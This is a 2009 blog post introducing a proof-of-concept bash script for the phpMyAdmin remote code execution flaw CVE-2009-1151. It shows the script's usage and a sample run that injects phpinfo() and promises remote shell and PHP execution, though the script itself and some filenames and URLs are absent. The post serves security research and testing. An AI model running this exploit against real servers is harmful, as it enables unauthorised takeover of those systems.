CVE-2009-1151 phpMyAdmin Remote Code Execution Proof of Concept

Tue, 09 Jun 2009 19:03:13 GMT

I couldn't find any public PoC/exploit for this phpMyAdmin vulnerability, despite it being a serious bug affecting a popular open-source project. I think this vulnerability is a nice reminder that it's still possible to perform remote command execution these days without relying on SQL injection (i.e.: xp_cmdshell) or a memory corruption bug (i.e.: heap overflow).

All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.

After reading the public advisory and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from advisory to working attack code.

I'm providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don't be evil, it's not worth it.


$ ./
usage: ./ <phpMyAdmin_base_URL>
i.e.: ./ http://target.tld/phpMyAdmin/
$ ./
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:;

I'd like to thank Greg Ose for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to str0ke for testing this PoC script and providing such useful feedback!
